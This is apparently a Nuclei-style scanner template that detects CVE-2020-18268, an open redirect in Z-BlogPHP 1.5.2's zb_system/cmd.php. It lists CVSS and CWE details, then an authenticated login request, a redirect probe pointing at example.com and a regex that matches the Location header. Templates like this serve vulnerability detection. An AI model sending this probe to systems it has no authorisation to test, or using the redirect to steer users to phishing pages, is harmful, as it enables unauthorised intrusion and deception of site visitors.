id: CVE-2020-18268

info:
  name: Z-BlogPHP 1.5.2 - Open Redirect
  author: 0x_Akoko
  severity: medium
  description: Open Redirect in Z-BlogPHP v1.5.2 and earlier allows remote attackers to obtain sensitive information via the "redirect" parameter in the component "zb_system/cmd.php."
  reference:
    - https://github.com/zblogcn/zblogphp/issues/216
    - https://www.cvedetails.com/cve/CVE-2020-18268
    - https://github.com/zblogcn/zblogphp/issues/209
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-18268
    cwe-id: CWE-601
  tags: cve,cve2020,redirect,zblogphp,authenticated

requests:
  - raw:
      - |
        POST /zb_system/cmd.php?act=verify HTTP/1.1
        Host: {{Hostname}}
        Content-Length: 81
        Content-Type: application/x-www-form-urlencoded
        Connection: close

        btnPost=Log+In&username={{username}}&password={{md5("{{password}}")}}&savedate=0

      - |
        GET /zb_system/cmd.php?atc=login&redirect=http://www.example.com HTTP/2
        Host: {{Hostname}}

    cookie-reuse: true
    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)example\.com\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1